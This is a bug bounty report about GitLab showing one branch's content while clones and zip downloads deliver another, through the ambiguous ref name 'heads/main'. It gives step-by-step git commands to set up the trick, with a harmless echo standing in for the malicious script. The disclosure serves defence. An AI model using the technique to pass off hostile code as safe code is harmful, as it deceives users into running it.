Ambiguous branch name exploitation
HackerOne report #1940441 by inspector-ambitious
on 2023-04-10, assigned to @fvpotvin:
Report | Attachments | How To Reproduce
Report
Summary
Introduction
I previously reported #1831547 and #1831543, they have been closed and fixed. However I wanted to retest them carefully over the weekend and I managed to replicate the issue again but this time using a branch called heads/main
!
A quick recap about symbolic ref names
The following is extracted from this documentation.
A symbolic ref name. E.g.
master
typically means the commit object referenced byrefs/heads/master
. If you happen to have bothheads/master
andtags/master
, you can explicitly say heads/master to tell Git which one you mean. When ambiguous, a<refname>
is disambiguated by taking the first match in the following rules:If $GIT_DIR/
<refname>
exists, that is what you mean (this is usually useful only for HEAD, FETCH_HEAD, ORIG_HEAD, MERGE_HEAD and CHERRY_PICK_HEAD);
otherwise, refs/
<refname>
if it exists;otherwise, refs/tags/
<refname>
if it exists;otherwise, refs/heads/
<refname>
if it exists;otherwise, refs/remotes/
<refname>
if it exists;otherwise, refs/remotes/
<refname>
/HEAD if it exists.
In the following exploitation scenario, we're going to abuse the fact that the following symbolic reference name
heads/foo
, can resolve to two distinct branches either refs/heads/foo
or refs/heads/heads/foo
.
Steps to reproduce
This scenario was tested on gitlab.com
.
heads/main
default branch
Step 1: The malicious A user named victim01
creates an empty new repository named ambiguity
(without a README).
victim01
will then create a branch named heads/main
containing a malicious script named ./script.sh
. That branch will become the default branch since the repository was empty.
From the command line, it would look like this
git clone git@gitlab.com:evilcorporation/ambiguity.git
cd ambiguity
echo "echo 'execute malicious code'" >> script.sh
chmod +x script.sh
git add script.sh
git commit -m "malicious script"
git branch -M hack
git push origin hack:refs/heads/heads/main
Note in the screenshot above that the default branch is heads/main
and the commit name is malicious script
.
main
branch
Step 2: The genuine Then victim01
creates a main
branch in the repository containing as well a ./script.sh
but this time the content of ./script.sh
is genuine and safe to execute.
From the command line, it would look like this
mkdir ambiguity_genuine
cdambiguity_genuine
echo "echo 'this is genuine'" >> script.sh
chmod +x script.sh
git init
git add script.sh
git commit -m "genuine script"
git branch -M genuine
git remote add origin git@gitlab.com:evilcorporation/ambiguity.git
git push origin genuine:refs/heads/main
Step 3: The victim clone the repo and execute the script
Now let's say the user user1
goes to the repository https://gitlab.com/evilcorporation/ambiguity.git/
, user1
will see the following.
While the default branch is heads/main
, user1
will see the content of main
branch instead, note the commit name genuine script
. And if user1
was cloning the repository and executing script.sh
, it will be the malicious code that would be executed instead.
I also tested the download of the zip file and it is vulnerable this time ! (contrary to previous report), the victim
would download the content heads/main
branch, see below the extraction of the zip and the output of script.sh
Output of checks
This bug happens on GitLab.com
Impact
Malicious repositories could be created to lure users into executing what they think is safe code, resulting in the takeover of the victim system.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: